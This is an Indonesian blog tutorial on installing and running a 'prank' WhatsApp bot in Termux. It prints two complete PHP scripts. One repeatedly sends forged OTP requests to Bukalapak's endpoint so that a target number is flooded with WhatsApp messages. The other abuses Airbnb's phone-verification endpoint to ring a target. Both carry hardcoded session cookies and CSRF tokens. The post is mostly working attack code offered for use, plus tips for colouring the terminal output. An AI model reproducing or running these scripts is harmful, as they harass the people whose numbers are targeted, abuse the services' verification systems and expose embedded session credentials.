MASIGNCLEAN103

Bot Chat WhatSapp Lewat Termux

Sebelumnya sudah sering saya share bot, mulai dari facebook, instagram dan chat messenger, dan kembali di artikel ini saya akan coba share bot whatsapp atau sejenis mengirim pesan lewat layanan buka lapak. Itulah layanan untuk saat ini, ga tau nantinya akan ada perubahan dari authurt nya atau tidak.


BACA JUGA
Cara Ganti Nomer WA Jadi Luar Negri


Bot whatsapp yang saya share ini bukan program python, tapi menggunakan php yang di jalankan lewat termux. Untuk saat ini katanya unlimited, tapi tidak tau untuk ke depannya. Yang pasti di coba saja kalau penasaran. Berikut cara install dan cara menjalankan sekaligus cara menggunakannya dengan simple.



BOT WHATSAPP
  1. apt update -y
  2. apt upgrade -y
  3. apt install git
  4. apt install php
  5. git clone https://github.com/siputra12/prank
  6. cd prank
  7. ls
  8. php call.php
  9. php wa.php


CARA MENJALANKAN

Update Dan Upgrade
apt update -y 
apt upgrade -y

Install Git
apt install git

Install Php
apt install php

Cloning Script
git clone https://github.com/siputra12/prank

Masuk Folder
cd prank

Lihat Isi
ls

CARA MENGGUNAKAN

Untuk Call Ketik 
php call.php

Muncul Inputan untuk memasakkan nomer yang harus di awali 628×××××××××

Contoh:

  • 6285248757085



Ini Untuk Bot Chat Wa
php wa.php

Muncul inputan untuk memasukkan nomer tujuan, di sini saya awali langsung dengan 08××××××××××

Dan juga inputan untuk jumlah kiriman

Contoh:

  • 085248757085
  • 25


Gambar:



Di situ saya memasukkan jumlah kiriman 25 ke nomer whatsapp 085248757087 (Itu nomer saya yang dulu, nomernya sudah hilang)

Untuk mewarnai tulisan input dan sending, bisa di edit scriptnya dengan menambahkan code warna, seperti contoh di bawah ini:


ISI SCRIPT wa.php


echo "COPYRIGHT : SGB TEAM\n\n";
echo "Nomor Target?\nInput : ";
$nomer = trim(fgets(STDIN));
if(strlen($nomer)==11){
$nomer = str_replace("0","62".$nomer);
}elseif(strlen($nomer)>12){
$nomer = str_replace("62","0",$nomer);
}
echo "Target: $nomer (y/n)";
$cek = trim(fgets(STDIN));
if($cek=="n") exit("Stopped!\n");
echo "Jumlah?\nInput : ";
$jumlah = trim(fgets(STDIN));
for($a=0;$a<$jumlah;$a++) {
$rand1 = md5(rand(12345678,98765432));
$rand2 = md5(rand(12345678,98765432));
$rand = array($rand1,$rand2);
$rand3 = md5($rand[rand(1,2)]);
$config['headers'] = explode("\n", "Host: m.bukalapak.com
Connection: keep-alive
Content-Length: 134
Origin: https://m.bukalapak.com
X-CSRF-Token: uYUfi93g92mZboBVB4UMwYInorBNOgyYEAbPUTikHht+xseF8BFUgg9qSgQWA9MRy7eL8G/SnbYUGg0JRM1fjw==
User-Agent: Mozilla/5.0 (Linux; Android 7.1.2; Redmi 4X Build/N2G47H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.91 Mobile Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
X-Requested-With: XMLHttpRequest
Save-Data: on
Referer: https://m.bukalapak.com/register?from=home_mobile
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9,id;q=0.8
Cookie: identity=".$rand1."; browser_id=".$rand2."; _ga=GA1.2.1024758930.1531960985; _vwo_uuid_v2=DE8E70E7E9A8960F05F20FE0ACE87643B|378e4a2f30c36053c1cb833e89ecbc2e; _gid=GA1.2.622427606.1533988422; scs=%7B%22t%22%3A1%7D; spUID=15339884253603c43b2de12.c5b45553; session_id=e95e7511997432af179935abfce90320; __auc=3eed305416528d5f584187b45b2; G_ENABLED_IDPS=google; track_register=true; affiliate_landing_visit=true; mp_51467a440ff602e0c13d513c36387ea8_mixpanel=%7B%22distinct_id%22%3A%20%22164affd88ae1d-0791dbbd558a18-1f20130c-38400-164affd88aff4%22%2C%22utm_source%22%3A%20%22hasoffers-1851%22%2C%22utm_medium%22%3A%20%22affiliate%22%2C%22utm_campaign%22%3A%20%2215%22%2C%22%24initial_referrer%22%3A%20%22%24direct%22%2C%22%24initial_referring_domain%22%3A%20%22%24direct%22%7D; ins-gaSSId=cdd66ffd-18ce-a176-a3c3-26f0ac9ec000_1534027025; lskjfewjrh34ghj23brjh234=elBsSkNBb3VKS3hzZSttTnNKTm5VNk1pWmtzV1A1YldKRm1majAzRFdsSUJtcDJJV0psL0pnOFlBamtJU1NBa1Y2czlQdjZrNlFURDNiRmZqQmNRRXRyeWRTbGV5QUdpQnZjV3JocEc3ak9QeHpWSlpRNTE4eFgzR2FieDVnc2dWaUVoZzVzMEJlMVZwM2NKWk1LaXVwQTZuOXBVR01TUUJ4ejc4MW5MTU5taGYwZ2M0bFdwM05KYy9IcTh3bThsd3dzbSt4bHd4WG9NSklrcHJtT0dHUURURVQ5YVoyb0hLQ3dyUC9NZ2V6UUNFYmVGbE84REtqOHZlKzBZUGtiRS0tV3pMamNPNDhKT1FoZ202Q1BkNUJ5dz09--5a445aefe0c06b736c22e9f359ee3b7273058175; insdrSV=32; _td=7e03facb-a77c-4ce7-8b83-2427781c78c7");
global $config;
$ar = http_build_query(array(
'feature' => 'phone_registration',
'feature_tag' => '',
'manual_phone' => $nomer,
'device_fingerprint' => $rand3,
'channel' => 'WhatsApp'
                             )
                           );
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "https://m.bukalapak.com/trusted_devices/otp_request");
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_HTTPHEADER, $config['headers']);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $ar);
$asw = curl_exec($ch);
curl_close($ch);
print $a.$nomer.[Sending]\n";
}


Untuk kita pemula bila ingin mewarnai tulisan inputnya bisa di edit scriptnya dan tambahkam code \e[93m taruh tepat sebelum tulisan Nomer Target? Yang sudah saya beri tanda warna kuning di atas.

Contoh:

  • echo "\e[93mNomor Target?\nInput : ";


Sedangkan untuk mewarnai tulisan sendingnya bisa tambahkan code warna  \e[92m, Letakkan sebelum tulisan sending yang sudah saya beri tanda warna kuning di atas.

Contoh:
  • print $a.$nomer." \e[93m[Sending]\n";







Dan Ini Isi Script call.php



// Copyright : W
function send($phone){
$config['headers'] = explode("\n",'Host: www.airbnb.co.id
Connection: keep-alive
Content-Length: 66
Origin: https://www.airbnb.co.id
X-CSRF-Token: V4$.airbnb.co.id$oP0Y9kVuZ-0$rMnweKVyObb3-zOblCFBxerI6uCSo2LCZPOlMclmfNs=
User-Agent: Mozilla/5.0 (BLABLABLAXXXXXXXXXXXXBLABLABLA
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Cache-Control: no-cache
X-Requested-With: XMLHttpRequest
Save-Data: on
Referer: https://www.airbnb.co.id/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9,id;q=0.8
Cookie: bev=1534255716_dhzYKerZB3T9Pf8i; jitney_client_session_id=f0bb6850-256c-49af-b0c8-07c77b026df1; jitney_client_session_created_at=1534255716; flags=268697600; 41698bf42=control; 3b689aa21=treatment; ftv=1534255719033; AMP_TOKEN=%24NOT_FOUND; _ga=GA1.3.982250051.1534255720; _gid=GA1.3.797209371.1534255720; cbkp=1; fbs=not_authorized; 9b88d9e4f=control; dbcfb34a2=control; 99f2e37da=treatment; sdid=; _csrf_token=V4%24.airbnb.co.id%24oP0Y9kVuZ-0%24rMnweKVyObb3-zOblCFBxerI6uCSo2LCZPOlMclmfNs%3D; li=1; _pt=1--WyI0YjY3MWE4ZTExZTI3OGE5NjJhMDQyN2YzNDk0ZGNjZjI2MmYzMjk2Il0%3D--4565f6593881cd2d2c5699f554ed6488cd8f1b03; _aat=0%7C66PEneHPVjz6n3Sr%2Foio9nTEPZByrIQfN4FDxzjG9f2YcQLc5A8N3ILXgbzTziXy; _user_attributes=%7B%22curr%22%3A%22IDR%22%2C%22guest_exchange%22%3A14624.102105%2C%22device_profiling_session_id%22%3A%221534255716--f079e9d05af444e5cb620ed6%22%2C%22giftcard_profiling_session_id%22%3A%221534255716--e824ce0b4bb33c20e373ca7c%22%2C%22reservation_profiling_session_id%22%3A%221534255716--4c07f78417a5d397a40d8e50%22%2C%22id%22%3A209493432%2C%22hash_user_id%22%3A%224b671a8e11e278a962a0427f3494dccf262f3296%22%2C%22eid%22%3A%22O3DvV4-P8T0EkKAcC7LRWw%3D%3D%22%2C%22num_msg%22%3A0%2C%22num_notif%22%3A2%2C%22num_alert%22%3A5%2C%22num_h%22%3A0%2C%22num_trip_notif%22%3A0%2C%22name%22%3A%22Putra%22%2C%22num_action%22%3A0%2C%22is_admin%22%3Afalse%2C%22can_access_photography%22%3Afalse%2C%22travel_credit_status%22%3Anull%2C%22referrals_info%22%3A%7B%22terms_and_conditions_link%22%3A%22%2Fhelp%2Farticle%2F2269%22%2C%22referrer_guest%22%3A%22Rp230%2C000%22%7D%7D; roles=0; _airbed_session_id=08bb403352baa465542ac41b3e318445; hli=1; jitney_client_session_updated_at=1534255932');
$ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, "https://www.airbnb.co.id/phone_numbers/create");
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_HEADER, false);
        curl_setopt($ch, CURLOPT_HTTPHEADER, $config['headers']);
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, "phone_number=$phone&phone_type=call&phone_number_country=ID");
        $asw = curl_exec($ch);
        curl_close($ch);
echo $server_output."\n";
}
echo "Nomor (Pake 62 jangan 0)\nInput : ";
$nomor = trim(fgets(STDIN));
$execute = send($nomor);
print $execute;
?>


Ini Contoh Untuk Code Warna

  • Putih    >  \e[0m
  • Merah  >  \e[91m
  • Hijau    >  \e[92m
  • Kuning >  \e[93m
  • Biru      >  \e[94m



Lakukan hal yang sama seperti script wa.php bila ingin mewarnai teks tulisan input pada call.php di atas. Sampai di sini dulu dan terima kasih.
Share This :
Admin